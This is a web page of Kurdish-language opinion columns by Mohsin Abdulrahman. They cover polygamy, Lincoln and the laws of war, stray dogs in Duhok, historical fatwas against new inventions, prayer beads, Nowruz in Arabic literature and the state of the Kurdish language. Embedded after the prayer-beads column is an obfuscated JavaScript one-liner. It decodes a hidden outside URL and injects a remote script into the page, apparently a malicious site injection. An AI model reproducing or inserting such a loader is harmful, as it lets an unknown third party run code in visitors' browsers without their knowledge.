محسن عەبدولرەحمان

هەوی ئەو ژنە یا ب سەر ژنەكێ دهێت! ئانكو هەڤپشكییا دوو ژنان د ژیانا مێرەكیدایە، راستە ئەو هەستەك هەرە نەخۆشە، كریاڕەك ناپەسەندە! لێ جاران (ژ نەچاری مرۆڤێ كوشتێ كەوی دخۆت) جاران ژ بەترانێ پێهنەكێ ل فەلەكا خۆ ددەت و خۆشی و ئارامییا مالا خۆ تێكددەت، ب تایبەت ئەگەر زارۆك د ناڤبەرا ژن و مێریدا هەبن.
لەو پرسیار ئەڤەیە، بۆچی هندەك مێر هەنە ژنەكێ ب سەر ژنا خۆ دئینیت؟ دا وەكو عیسێ دەلا گۆتییە میرێ بەهدینان (هێك سۆر یان زەربیت هەر هێكە و ئێك تامە) ڤێچا هەكە هەمی ژن وەكو ئێكبن، ڤێچا بۆچی مێر ب ئینانا ژنا دویێ ژیانا خۆ تێكددەت؟ چنكو هەڤپشكی هەر چاوابیت یا نەخۆش و پڕ ئارێشە و سەرگێژییە، ڤێچا بۆچی مێر وەسا دكەت، ب تایبەت ئەگەر هەڤژینا وی یا ب زارۆك بیت و رەوشا ئابووری یا ناوەندی بیت، پشتی چەندین رەوش من دیتین و بهیستین، گەهشتمە وێ باوەریێ كو ژنا دویێ هەر وەكو خوارنا گوشتێ كەوییە! ئەوژی ل پشت هەر زەلامەكێ چاڤلدەر ژنەك خەمسار هەیە و ل پشت هەر ژنەك خاین زلامەك بێهەست هەیە، ئانكو خیانەتا هەڤژینیێ یان ئینانا ژنا دویێ ب سەر هەوی یا بێ ئەگەر نینە! كێم جاران ئێك ژ هەڤژینان گەرمییا گۆهنێلیێ هەمبەر یێ دی ساربوونا گۆهنێلی هەیە، ئەڤە رەوشەكە كێم و دەگمەنە، ئانكو ئەگەرێن دی هەنە ساربوونا پەیوەندیێ د ناڤبەرا هەڤژینان پەیدادكەت.
بهزرا من خەمسارییا بچویك ئاریشەیێن ژ هەمیان مەزنترە چێدكەن، چنكو هەر ئاریشەك هاتە پشتگۆهـ ئێخستن ژ بچویكیێ دێ دگەل دەمی كەلەكەبیت و مەزن بیت، چنكو شەواتێن هەر مەزن ژ چریسكێن بچویك دەستپێدكەن، خەمسارییا هەڤژینان بۆ ئێكدو دەستپێكە تاكو دگەهیتە راددەكێ پێكڤەژیان ئەستەم دبیت.
فەرە هەڤژین بزانن، ئەگەر ژن بۆنەوەرەك نازك بیت پێدڤی نازداركرنا زەلامی بیت، زەلام ژی ب هەمان پیڤەر، دبیت پتر زارۆكەكێ مەزنە پێدڤی چاڤدانا ژنێ یە، بابتەتێ هەڤژینیێ ژ پەیوەندییا گۆهنێلیێ مەزنترە، دا ژیانا هەڤژینیێ ب خۆشی دەربازبیت، دبێژم ئەو هەست ب هەبوون و چاڤدان و دلینی و رێزكرتن… لێكگۆهارتییە.

محسن عەبدلڕەحمان

شەڕ و كوشتن ب خۆ كریارەكە دڕندەییا مرۆڤی دسەلمینیت، ڤێچا هەكە كوشتن دژی دیلێن شەڕی و خەلكێ سڤیل بیت! ئارێشە ئەوە گیانەوەرێن گوشتخۆر تا برسی نەبیت، كوشتنێ ناكەت، لێ مرۆڤ بەروڤاژی دەمێ تێربوو ژنوی حەزا وی بۆ خوینرژتنێ دئازریت! ئەڤە رەوشا جڤاكا مرۆڤی بوویە تاكو مرۆڤێ مەزن دیاربووی، ئەڤ مرۆڤە مەزنییا وی بۆ دوو بڕیاران ڤەدگەریت، كو ل داویێ سەرا وان بڕیاران ل 14 نیسانا 1965 گیانێ خۆ بەخشی دەمێ هاتییە تیرۆركرن، ئەڤ مرۆڤێ مەزن نەپێخەمەر یان فەیلەسۆفە، ئەو سەرۆكێ ژمارە شازدەیە یێ وەلاتێ ئەمریكا، ئەوژی (براهام لنكۆلن)ە.
سەركردەیێن مەزن ب هشمەندی و دویربینی بڕیارێن وێرەك و ڤەبڕ ددەن، كو نەتنێ ب بۆرینا چەرخان دمینن، بەلكو دبنە وەرچەرخان د مێژوویا مرۆڤینیێ دا، ئەڤ هەردوو بڕیارێن سەرۆكێ ئەمریكا ئەڤەنە:
بریارا ئێكێ:
هەلوەشاندنا سیستەمێ بەنەدەیێ – العبودیە – ئەوژی ب قەدەغەكرن و ب تاوان نیاسینا بەندەیێ، كو ئەڤە وەرچەرخانا هەرە گرنكبوو د ژیانا مرۆڤاندا رویدای، لێ بڕیارا ژ وێ نە كێمتر كو بابەتێ مە رۆژەڤێیە، كو نها جیهان و بتایبەت جڤاكێن مە ژێ دنالن، ئەوژی دوبارە زیندیكرنا كرێتییا بەندەییا ژنان، دیسان كوشتنا دیلین شەڕی، چنكو ڤان سالان بتایبەت پشتی دەركەفتنا هشكباوەرێن ئیسلامی ب ناڤێن جودا و كوشتن و سەرژێكرنا پێشمەرگە هوجام سوروجی و سۆتنا فرۆكڤانێ ئوردونی مەعاز كەساسبە، وەكو نموونە، بیرا مە ل قانوونا (لیبر) ئەوا ل 24ی ئەبریلا 1863ێ ب قانوونا ژمارە 100 ژ نڤێسینگەها فەرماندێ گشتی ل سەر داخوازا سەرۆكێ ئەمریكی (ئەبراهام لینكولن)ی دەرچووی، كو قانوونەك نوی بۆشەڕی ب مەبەستا پاراستنا دیلێن شەڕی و سڤیلان دارشتییە، لدویڤ ڤێ قانوونێ ئێكەم دادگەهـێن ل دۆر تاوانێن شەڕی د مێژوویێ دا هاتنە چەسپاندن، ل پەی قانوونا نوی بۆ جارت ئێكێ‌ د مێژوویا مرۆڤینیێ دا، ب قانوون هژمارەكا ئەفسەرێن كۆنفدرالی بەر ب دادگەهێن لەشكری هاتنە هاژۆتن، ب تاوانا ئەنجامدانا تاوانێن شەڕی و كوشتنا سەربازێن دیل ل سەربازگەهێن دیلین ژ باكۆرێ ئەمریكا، كو هاتبوونە گولـلەبارانكرن.
بەری 163سالان ب قانوون ئەمریكا ئەفسەرێن ب كوشتنا دیلان تاوانبار دادگەهـ دكەت، لێ نها ب دەنگ و رەنگ خەلكەكی دبینین شانازیێ ب بەندەكرنا ژنان و كوستنا دیل و خەلكێ سڤیل دبەن، رویدانێن دەڤەرێن عەلەویان ل سووریێ نموونەك زیندییە!

ڤان رۆژان نۆچەیێ خوارنا رەڤدەكا سەیێن بێخودان و بەرەللا ل كەركووكێ بۆ زارۆیەكێ نەه سالی بەلاڤبوو، ل هەولێر جاران گازندەیێن وەلاتییان ژ هێرشا سەیێن بێخودان دهێنە بەلاڤكرن، ل ڤان رۆژێن بۆری ڤیدیۆیا تووشبوونا خویندكارەكا بەشێ ناڤخۆ ل ناڤ زانكۆیا دهۆكێ بەلاڤبوو، بەری وێ ل ئۆڤەرباسێ بێسرێ سەیەكی باقا زەلامەكی لەقدایە! هەبوونا ڤان رەڤدەیێن سەیان ب تایبەت ب شەڤ تا بەرێ سپێدێ ل ناڤ تاخ و كولانێن باژێری ب كەیفا خۆ دچەورن! و گازندێن وەلاتییان بەردەوامن!
ل كوردستانی سەگ زێرەڤانێن پەزی و ل گوندان پاسەوانێن ب خودانبوون، گەلەك جاران سەرا سەیەكی ئاریشە د ناڤبەرا گوندییان دا چێدبوون، لێ پشتی كورد بووینە مووچەخور و پتریا گوندان بەرداین، دا چەند مالەكێن ئەرەبان پەزی ل كوردستانێ ب خودان بكەن، ئێدی سەگ مانە بێخودان و ئەو گرنگی ژ دەستا، لەورا ل رەخێن باژێری دیاربوون و نها شێوەیێ رەڤدان ل كولانان و هەر جهی تا ناڤەندا باژێری دبەلاڤن، پترییا وان ژ برسێ ل تەنەكێن كلێشی كۆم دبن، دگەل وەختی زڤستانێ كو دێهل ل با دبیت دا پاشی بتركن و هژمارا وان هەر زێدەبیت، د ڤی دەمیدا هێرشی مرۆڤان دكەن كو د ناڤدا سەیێن هار هەنە، ئانكو لەقدانا وان یا ژەهراوییە ئەگەر زوی و ب شێوەیەكێ نۆژداریێ دروست و رێكخستی نەهێتە چارەسەركرن، دێ زیانێن ساخلەمی لدویڤ خۆ هێلیت، كە دگەهیتە مرنێ، ئەوژی ب دانانا پێنچ دەرزییان یێن دژە هاربوونێ!
ئەرێ چ گوننەها وەلاتییەك دچیتە كارێ خویندكارەك دچیتە قوتابخانەیێ و… تووشی هەڕەشەیا رەڤدا سەیان ببیت، كی بەرپرسیارە؟ هەكە كوشتنا وان قەدەغەبیت، چنكو دژی مافێ گیانەوەرییە، ئەرێ كارگێرییا پارێزگەها دهۆكێ، رێڤەبەرییا ژینگەهێ، رێكخراوێن مافێ گیانەوەری، باژێرڤانییا دهۆكێ..كی بەرپرسیارە ژ پاراستنا وەلاتیێ ب رێكا خۆ دچیت؟
لەورا دبێژین كارگێرییا پارێزگەها دهۆكێ وەلاتیێن خۆ بپارێزە، سەیێن بەرەللا یێن دبنە مەترسی، چنكو پاراستنا وان ئەركێ تەیە!

محسن عه‌بدولره‌حمان
فه‌توا: دان و ده‌ركرنا حوكمه‌كێ شه‌رعی یه‌ بۆ كه‌سێ پڕسیاركه‌ر، رۆهنكرن و نیشادانا پرسیاركه‌رییه‌ ب حوكمێ شه‌رعی. د موسلمانه‌تیێ دا ده‌ما گومان كه‌فته‌ سه‌ر تشته‌كی پێدڤی ب بۆچوونا زانایێن دینی دبیت، هینگێ بریارا وان دبیته‌ فه‌توا. ئه‌ڤه‌ چه‌ند نموونه‌كن:
ده‌مێ حوكمه‌تا ئیراقێ ده‌ست ب ڤه‌كرنا خواندنگه‌هان كری، هنده‌ك مه‌لا چوونا وان خواندنگه‌هان حه‌رامكر، ئه‌ڤ حه‌رامكرنێ دگه‌ل حه‌زكرنا ته‌بایا خه‌لكی گۆنجا، ئه‌نجام ژی كێمییا چوونا خه‌لكی بوو، لێ دگه‌ل زێده‌بوونا حه‌زكرنا خه‌لكی بۆ كارێ میری هه‌لوه‌ستێ مللی ب دروستی به‌روڤاژی بوو، چنكو ژبلی خوانده‌ڤانان كه‌س لێ نه‌دهاته‌ وه‌رگرتن، د هه‌مان ده‌م دا هه‌لوه‌ست ژ خواندنگه‌هێن كچان دژوارتربوو، چنكو خه‌لكی هزردكر فێربوونا ژنێ بۆ خواندن و نڤێسینێ دێ بیته‌ ئه‌گه‌رێ سه‌ردابرنا وێ و دێ شه‌رمزاریێ بۆ وان ئینیت، د ڤی چارچووڤه‌ی دا فیقهه‌زانی ئیراقی نوعمانێ ئالۆسی ل داویا چه‌رخێ نزدێ په‌رتووكه‌ك ب ناڤێ (الإصابه‌ فی منع النسا‌و من الكتابه‌) دانا.
• هه‌ر ژ دیاربوونا قه‌هوه‌یێ ل ده‌ستپێكا چه‌رخێ شازدێ و ڤه‌گوهاستنا وێ ژ وه‌لاتێ یه‌مه‌نێ بۆ مسر و حیجازێ.. شه‌ره‌كێ فقهه‌یێ گه‌رم ده‌ستپێكر، د ناڤدا رویدانین دژوار هه‌بوون، حه‌رامكرنا قه‌هوێ دو چه‌رخان ڤه‌كێشا، كو ناكۆكی ل دۆر حه‌رامكرنا وێ یا به‌رده‌وامبوو، ب به‌هانه‌یا ئه‌و ژ یا سه‌رخۆشكه‌ره‌ و بۆ مێشك و جه‌سته‌ی تێكده‌ره‌ و مه‌ترسییا وێ ژ یا مه‌ی دژوارتره‌.
(شه‌رێ قه‌هوا فقهی) بۆ قاهیره‌ و پاشی ستانبولێ هاته‌ ڤه‌گۆهاستن، ئینا فه‌توا و فرمانێن سولتانی ب حه‌رامكرنا قه‌هوێ و قه‌ده‌غه‌كرنا ڤه‌خوارنا وێ ده‌رچوون، پۆلیسان راهێلانه‌ ڤه‌خوه‌رێن وێ و كاكۆكی ئارام نه‌بوو، تاكو مفتییه‌كێ نوی ل سه‌رده‌مێ مرادێ سێیێ ئه‌وێ راگه‌هاندی، كو ڤه‌خوارنا قه‌هوێ شه‌رعه‌ن نه‌ حه‌رامه‌!.

*فه‌توا زه‌مبه‌لێ – حنفیه‌:
توماس كامبیلی ل 1880یێ سالا داهێنانا خۆ ب (Faucet – زه‌مبه‌له‌) ناڤكر، ئانكو ب ئه‌ره‌بی (‌صنبور) ڤێچا ناڤێ (حنفیه‌) ژ چ هاتییه‌؟
ل داوییا چه‌خێ نۆزدێ ب دروستی ل سالا 1848ێ، ئێكه‌م زه‌مبه‌له‌ بو مزگه‌فتا محه‌مه‌د عه‌لی ل (القلعه‌ – كه‌لا سه‌لاحه‌دینێ ئه‌یوبی) هاته‌ دانان، ل ڤێره‌ ناكوكییه‌كا به‌رفره‌هـ د رێره‌وێن (‌اروقه‌) ئه‌زهه‌رێدا ل دور دانانا بورییا و زه‌مبه‌له‌یا (حنفی) ل مزگه‌فتێ كو خه‌لكی ب گوزك و مه‌سینان ده‌ستنڤێژ دشووشتن و پاشی بۆ مالێن مسرییان ژی كێشان، كو كه‌له‌ك مسرییا ئێدی ئاڤ ژ سه‌قافا نه‌كڕی ئه‌وێن ب پاره‌ ئاڤ د گه‌هانده‌ مالان.
له‌ورا سه‌قاف به‌ر ب ئیمامێن هه‌ر چار ئۆلزایان (مه‌زهب) چوون، دا فه‌توایه‌كێ بده‌ن كو ئاڤا زه‌مبه‌لان بۆ ده‌ستنڤێژێ نابیت، ئینا ئیمامێن حه‌نبه‌لی رازیبوون و فه‌توا دان كو ئاڤا زه‌مبه‌لان بیدعه‌كا ئاشكرایه‌ و بۆ ده‌ستنڤێژ و پاككرنێ نابیت، د ده‌مه‌كی دا ئیمامێن زۆلزایا شافعیێ داكوكی كر ك بابه‌ت پێدڤی دانوستاندنه‌ك درێژه‌، د به‌رامبه‌ردا ئیمامێن حه‌نه‌فی ب ره‌واییا ئاڤا زه‌مبه‌لێ و ده‌ستنڤێژ شووشتنێ پێدا، ژ ڤێ چه‌ندێ ناڤكرنا مسرییان بۆ زه‌مبه‌لێ ب (حه‌نه‌فی) هات.
(سید الخلفاوی، الیوم السابع، الاحد28 نوفمبر2021.)
• ل سالێن شێستان فه‌توایێن حه‌رامكرنێ گه‌هشتنه‌ ته‌له‌فزیۆنێ و به‌رفره‌هبوون دا بگه‌هنه‌ ئامیره‌یێن ڤیدیۆ و كاسێت و وێنه‌یێن فوتوگرافی تا دگه‌هیته‌ سه‌ته‌لایتێ.. دا فه‌توایێن حه‌رامكرنا ئه‌نترنێتێ و مۆبایلا ب كامیره‌ ل گه‌ل ئه‌لندا هزارا سێیێ ده‌ركه‌ڤن و ل هنده‌ك ده‌وله‌تێن ئه‌ره‌بی بهێنه‌ قه‌ده‌غه‌كرن. ئه‌ڤه‌ ژبلی حه‌رامكرنا مریشكێن به‌رازیلی و گۆشتێ رۆست و… جڤاك به‌رهنگارییه‌ك دژواردكه‌ن، لێ ل داویێ پێدڤیێن پێشكه‌فتن و كه‌شه‌كرنێ خۆ دسه‌پینن.
(محه‌مه‌د داودیه‌، دستور، 19 كانوونا ئێكێ، 2018)
• ل سالا 1915ێ ئێكه‌م شه‌مه‌نده‌فر د ناڤبه‌را به‌غدا و سامرا كه‌فته‌ كاری، مه‌لا فه‌توایه‌كا دینی دژی سواربوونا (شه‌مه‌نده‌فرێ) ده‌رئێخستن و ئه‌ڤه‌ ده‌قێ فه‌توایێ یه‌:
ب ناڤێ خودایێ دلۆڤانكار م میهره‌بان
(كه‌رێن خودێ دهێلن و ل شه‌مه‌نده‌فرێ سواردبن. نه‌فره‌تا خودێ ل وان بیت. نه‌فره‌تا خودێ ل هه‌ر كه‌سێ ل (شه‌مه‌نده‌فر)ێ سواربیت و هاندانا سواربوونا وێ بكه‌ت…
•”ده‌می ئێكه‌م ترومبێل هاتییه‌ وه‌لاتێ مه‌غریب، وه‌كو هه‌رجار فقهزانا حه‌رامكر و ئه‌گه‌رێ حه‌رامكرنێ، ئه‌وه‌ ئه‌و نزانن چ وێ دلڤینیت، ده‌مێ ترومبێل ل هه‌ر جهی مشه‌بووین، فقهزان لێ سواربوون و متمانه‌ ل سه‌ر كورتییا بیردانكا خه‌لكی كرن”. (هزرمه‌ندێ ئه‌مازیغ (ئه‌حمه‌د عه‌سید).
• نموونه‌یێن گه‌مژه‌ییا ئه‌ڤرۆ ب ئاشۆپی دبینین، د لیسته‌یێن درێژدا هه‌نه‌، نێزیكه‌ هه‌می ده‌ستكه‌ڤتێن ژیانا هه‌ڤچه‌رخ و داهێنانێن وێ ڤه‌گریت، كو هنده‌ك فقهزان ل دژ راوه‌ستیان و شیرێ دوژمنی و حه‌رامكرنێ ل دژی هه‌ر تشتێ نوی هه‌لكێشا.
لێ خواستا جڤاكان بۆ ڤێراگه‌هشتنا كاروانێ شارستانی و گه‌شه‌پێدانێ، ژ وان فه‌توایێن ده‌م ب سه‌رڤه‌چووی ب هێزتربوو، ئینا ئه‌و ده‌ستكه‌فت به‌لاڤبوون، سه‌رباری فه‌توایێن حه‌رامكرنێ یێن خودانێن وان هه‌ر زوی لێڤه‌بووین.
ژ وانا به‌رهنگارییا دژوارا مه‌لایێن ده‌وله‌تا ئوسمانی بۆ داهێنانا چاپكرنێ، ئه‌وان ف‌توا ب حه‌رامكرن وێ و گاوركرنا هه‌ر كه‌سێ بكاربینیت ده‌رئێخست، ب به‌هانه‌یا شێواندنا قورئانێ و په‌رتووكێن شه‌رعی، ئینا موسلمان بو نێزیكی دو چه‌رخان ژ ڤێ داهێنانێ زڕبه‌هركرن، كو ژ گرنگترین هۆیێن پێسكه‌فتنا ئه‌ورۆپا بوو.

• تزبی:
د جڤاكێن موسلمانان دا، تزبی ب وه‌رزێن ئۆلی یێن ده‌ستنیشانكریڤه‌ هاته‌ به‌ستن، كو وه‌ك دیارییێن تایبه‌ت ل وه‌رزێ‌ حه‌ج و عومرێ‌ دهێنه‌ پێشكێشكرن، د مه‌ها ره‌مه‌زانێ دا وه‌كو هێمایه‌ك بۆ ئۆلدارییا گرێدایی ڤێ‌ هه‌یڤێ‌ ب شێوه‌یه‌كێ‌ به‌رفره‌هـ دهێنه‌ بكارئینان، سه‌رباری به‌لگه‌یێن مێژوویی، كو دبێژن تزبی پش مێژوویێ‌ هه‌بوون، لێ‌ د هزرا هنده‌كان دا تزبی تنێ‌ ب موسلمانه‌تیێ ڤه‌ گرێداینه‌. مێژوویا تزبییان د موسلمانه‌تیێ دا ل په‌ی په‌رتووكا (السبحه‌.. تاریخها وأحكامها) دیاردكه‌ت، كو ژ ده‌ستپێكا موسلمانه‌تییێ‌ و تا چه‌رخێ‌ دویێ‌ یێ‌ مشه‌ختی موسلمانان نه‌دزانی تزبییان بكاربینن، پاشی ل ناڤه‌راستا چه‌رخێ‌ دویێ‌ بكارئینانا وان به‌لاڤبوو، لێ ئه‌و د ناڤبه‌را حه‌لالكرن و حه‌رامكرنێدا بوو، تاكو‌ ل چه‌رخێ‌ پازدێ زایینی هنده‌ك ده‌نگێن مانده‌لكرنا وان بلندبوون، لێ‌ هنده‌ك زانایان ده‌ستویرییا ره‌واییا بكارئینانا وان (فه‌توا) ده‌رئیخستن، ب به‌هانه‌یا ته‌سبیحكرنێ ل شوینا تبلان ، لێ‌ هه‌ر چێكرنا تزبییان ب هه‌می ره‌نگێن وان بۆ سۆفییان دهێته‌ ڤه‌دگه‌ڕاندن.
(تزبی، محسن عه‌بدلڕه‌حمان، گۆڤارا مه‌تین، ٢٤٧، گولانا ٢٠٢٤)(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

محسن عه‌بدلڕه‌حمان
ژبه‌ر ئه‌و بیاڤێ‌ به‌رفره‌ه و گرنگییا مه‌زن یا نه‌ورۆزێ‌ د وێژه‌یا عه‌ره‌بی دا ب گشتی ڤه‌گرتی، فه‌ره‌ نه‌پشكه‌ك به‌لكو په‌رتووك و په‌ربه‌ند بۆ بهێته‌ ته‌رخانكرن، له‌ورا دێ‌ چه‌ند ده‌قه‌كان ژ ده‌م و قۆناخێن جودا وه‌كو نموونه‌ به‌رچاڤكه‌ین، گه‌له‌كییا ڤه‌هاندنا شیعر و به‌خشانان ده‌رباره‌ی نه‌ورۆزێ‌ ره‌نگڤه‌دانه‌ بۆ رادده‌یا پیرۆزی و گرنگییا وێ‌ ل ده‌ف عه‌ره‌بێن موسلمان، په‌یڤێن ئاماژه‌كه‌ر بۆ نه‌ورۆزێ‌ د ره‌وشه‌نبیری و هۆزانا عه‌ره‌بیدا ب رێكا نڤیسه‌ر و شالیاران رێكا خوه‌ بۆ ناڤ وێژه‌یا عه‌ره‌بی ڤه‌كر، ڤێچا شاعر و تۆڕه‌ڤانان ل دۆر پیرۆزیێن نه‌ورۆزێ‌ به‌ریكانه‌ و هونه‌ركاری؛ دنڤیسین و دارشتنا په‌رتووك و نامه‌ و هه‌لبه‌ستان دا كرن، ئه‌وێن ب ڤێ‌ جه‌ژنێ‌ دداڕشتن، ئینا جۆره‌كێ‌ نوی د شعر و نڤیسینێ دا بناڤێ وێژه‌یا نه‌ورۆزی ئینان.
نه‌ورۆز جه‌ژنا هه‌ره‌ ناسیار و ناڤداره‌ د مێژوویا‌ مرۆڤینیێ دا و ژ هه‌میان كاریگه‌رتره‌ ل سه‌ر عه‌ره‌با، ئه‌ڤه‌ دیاردبیت ژ ژینگه‌ها ئه‌و جه‌ژن د چه‌رخێن دێرین دا ئافراندی و مایه‌ زیندی د ماوه‌یێ‌ ده‌ستهه‌لاتداریا ئیسلامی دا تاكو گه‌هشتییه‌ سه‌رده‌مێ‌ نها، بێگۆمانه‌ كو نه‌ورۆز بۆ سه‌رده‌مێن دێرینێن پێشی نڤیسینێ‌ ڤه‌دگه‌ڕیت، یا گرنگ ل ڤێره‌ چاوانیا په‌یدابوونا ئاییرده‌یێن ئاهه‌نگێن نه‌ورۆزێیه‌، دیسا كارتێكرنا وێ‌ ل سه‌ر وێژه‌یا عه‌ره‌بی، كو د نڤێسینێن خودان هزر، وێژه‌ و مێژوویێ دا (بیرۆنی، جاحز، مه‌سعودی، سه‌عالبی، مه‌قریزی، قه‌لقه‌شه‌ندی…) دیاردبیت، ئه‌ڤان نڤیسه‌ر و ئه‌دیب و مێژوونڤیسان ل دۆر نه‌ورۆزێ‌ و چ تێدا دهاته‌كرن، ژ ئاییره‌، جۆرێن دیارییان، جلك و چه‌كێن ل به‌رخوه‌دكرن، دراڤێن ژ گه‌نجینه‌یێن خه‌لیفه‌ و شاهـ و میران دهاته‌ خه‌رجكرن، هه‌موو ژبۆ پێشوازی و ئاهه‌نگێرانا ڤێ‌ هه‌لكه‌فتنا پیرۆز تۆماركرینه‌.
هه‌ر ژ كه‌ڤندا عه‌ره‌با پێشوازییا ڤێ‌ جه‌ژنێ‌ كرینه‌، بلند راگرتینه‌ و ژبۆ گێڕانا وێ‌ خوه‌ ماندیكرینه‌، هه‌روه‌سا تۆڕه‌ڤانێن هه‌ڤچه‌رخ ب نه‌ورۆزێ‌ داخباربوونه‌، تاكو هنده‌كا هه‌ولدایه‌ هه‌ر تشتێ‌ ل دۆر نه‌ورۆزێ‌ ژ شعر و په‌خشانێ‌… كۆمبكه‌ن و یا ب زمانێن دی هاتیه‌ گۆتن وه‌رگێراینه‌ عه‌ره‌بیێ‌، زانایه‌ كو گه‌له‌ك ژ شاعرێن عه‌ره‌ب یێن كه‌ڤن و نوی نه‌ورۆز د شعرێن خوه‌دا بكارئینایه‌، وه‌كو بوحته‌ری، ئه‌بۆ نه‌وواس، راوه‌ندی، ئیبن ئه‌لرۆمی، ئیبن ئه‌لـموعته‌ز، عه‌باس مه‌حموود ئه‌لعه‌قاد…
عه‌ره‌با ژ په‌یڤا نه‌ورۆز كارێ‌ (نه‌یره‌ز) وه‌رگرتییه‌، مه‌قریزی د په‌رتووكا خوه‌دا دبێژیت (ل دۆر نه‌ورۆزێ‌ پرسیار ژ ئیبن عه‌باسی هاته‌كرن، بۆچی كرنه‌ جه‌ژن؟ گۆت ئه‌و ده‌ستپێكا سالا هاتییه‌ و دوماهییا سالا چووییه‌).

محسن عه‌بدلڕه‌حمان
ل 21 شواتێ‌ ب هه‌لكه‌فتا رۆژا زمانێ‌، ل چه‌ندین جهێن جودا و ل سه‌ر ئاستێن ئه‌كادیمی ئه‌ڤ هه‌لكه‌فته‌ ب سمیناران هاته‌ زیندیكرن، لی ل ڤان سمیناران چه‌ند كه‌س به‌رهه‌ڤبوون، چ مفا گه‌هاند؟!، بۆ پشكداریێ‌ چ به‌رنامه‌ راگه‌هاندبوو، ل دووماهیێ‌ دێ چ راسپارده‌ هه‌بن؟ مخابن سه‌رباری نیازپاكیێ‌ لێ‌ موركه‌كا ریكلامی ب خوه‌ڤه‌گرتییه‌، چنكو ئه‌ڤ جۆره‌ كاره‌، پرۆژه‌نه‌ و پێدڤی ب پشته‌ڤانییا جهێ‌ بڕیارێیه‌! ئه‌ڤان لایه‌نان بڕیار نینه‌، لێ‌ شیانێن داخوازا هاریكاریێ‌ ژ لایه‌نێ‌ بڕیاره‌ده‌ر هه‌یه‌!
ل دویڤ ئاماران زمانێ‌ كوردی ل ناڤ زمانێن ملله‌تان ل رێزبه‌ندییا هه‌شته‌م دهێت، لێ‌ ب كریار زمانێ كوردی ل ژێر هه‌ره‌شیێن هه‌ر سێ‌ زمانێن سه‌رده‌سته‌ و نیمچه‌ قه‌ده‌غه‌یه‌! لدویڤ تیۆرێن زمانێ زارۆكێ ب شێوه‌یه‌ك دروست فێربوونێ‌ ب زمانێ‌ خوه‌یێ‌ نه‌ته‌وه‌یی (دایك) وه‌رنه‌گریت، نه‌شێت ب زمانێ‌ خوه‌ یێ‌ نه‌ته‌وه‌یی ده‌ربڕینێ‌ بكه‌ت و تووشی نامۆبوونا كلتووری دبیت، وه‌كو مرۆڤێ‌ كوردێ‌ نه‌شێت ب زمانێ‌ خوه‌ ده‌ربڕینێ‌ ژ هه‌ست و حه‌ز و هزرا خوه‌ بكه‌ت، كو نه‌چاردبیت بۆ ده‌ربڕینێ‌ په‌نایێ‌ بۆ زمانێ‌ داگیركه‌ری ببه‌ت، هۆسا ئه‌و پاشخانه‌یا كلتۆری یا ملله‌تێ‌ خوه‌ ب زمانێ‌ بیانی سازدكه‌ت) یه‌شار كه‌مال، سه‌لیم به‌ره‌كات …(، ل وی ده‌می دبیته‌ پاله‌ و سۆخره‌چیێ‌ دوژمنێ‌ ملله‌تێ‌ خوه‌، ئانكو به‌رهه‌مدار و داهێنه‌ره‌كێ‌ نه‌رێ یه‌، چنكو به‌رهه‌مێ‌ ره‌نج و كه‌دا وی بۆ خه‌لكییه‌، هه‌روه‌سا كلتۆرێ‌ ملله‌تێ خوه‌ دئێخته‌ ژێر خزمه‌تا بیانی دا، ئه‌ڤه‌ نه‌تنێ‌ لایه‌نێ‌ ئه‌ده‌بی و هونه‌ری ڤه‌دگریت، به‌لكو ب ده‌هان ناڤ هه‌نه‌ ده‌ستكه‌فتێن وه‌رزشی، هۆنه‌ری، زانستی، دپلۆماسی… تاكو ب ته‌مه‌نترین و به‌ژن بلندترین.. هه‌بوونه‌، لێ‌ هه‌ر ب ناڤێ‌ وه‌لاتێن داگیركه‌ر هاتینه‌ نیاسین و توماركرن!
به‌رهه‌م ل گه‌ل ناسنامه‌یێ‌ پارڤه‌دبیت، ئه‌م دبینه‌ كوردێ‌ ئیرانێ‌، كوردێ‌ تركی، كوردێ‌ ئیراقێ‌، كوردێ‌ سووریێ‌…ئانكو ئه‌م بووینه‌ خودان ناسنامه‌یه‌كا نه‌رم، ئانكو ژێیاتییا مه‌ نه‌ بۆ نه‌ته‌وه‌یا مه‌یه‌، به‌لكو بۆ ملله‌تێن سه‌رده‌سته‌، له‌ورا ئه‌ركه‌ كلتۆرێ‌ نه‌ته‌وه‌یی بهێته‌ ڤه‌ژاندن و ئه‌رشیفكرن، ب مه‌به‌ستا پاراستنا بهایێن مرۆڤی یێن بابكالان بۆ مه‌ هێلاین.
ئاریشه‌ ئه‌وه‌ كورد بووینه‌ خودانێن ڤێ‌ ناسنامه‌یه‌ك نه‌رم و ئه‌ڤێ‌ كارتێكرن ل سه‌ر كلتۆرێ‌ وان كرییه‌، ئانكو تاكێ‌ كورد ل هه‌ر وه‌لاته‌كێ‌ بۆ پارچه‌كا كوردستانێ‌ یا داگیركه‌ری دزڤڕیت، ده‌مێ‌ دچیته‌ باژێران نه‌چاردبیت ب زمانێ‌ وان سه‌ره‌ده‌ریێ‌ بكه‌ت، ئه‌ڤێ‌ ناسنامه‌یا مه‌ شل هێلایه‌، له‌ورا تاكێ‌ كورد هه‌ر زوی خوه‌ دگونجینیت، ئه‌ڤه‌ دولایه‌نییه‌، ژ ئالییه‌كی باشه‌ كو فێردبیت، لێ‌ ژلایێ‌ دی ب ساناهی به‌رهه‌ڤی ژ ده‌ستدانا ناسنامه‌یا خوه‌یه‌، یان ب كێمی ژ پارچه‌یێن دی ڤه‌دقه‌تیت، گه‌له‌ك ژ كوردێن خوه‌ ب كوردپه‌روه‌ر دنیاسن، ژ به‌ر زۆرداریا داگیركه‌ری ب نه‌چاری په‌نا برییه‌ وه‌لاتێن جیهانا پێشكه‌فتی، سه‌رباری كو ل ئه‌ورۆپا چ فشار نینن، لێ‌ زارۆیێن وان كوردیێ‌ نزانن و جاران هه‌تا ناڤێن وان ژی نه‌ كوردینه‌!

محسن عه‌بدلڕه‌حمان
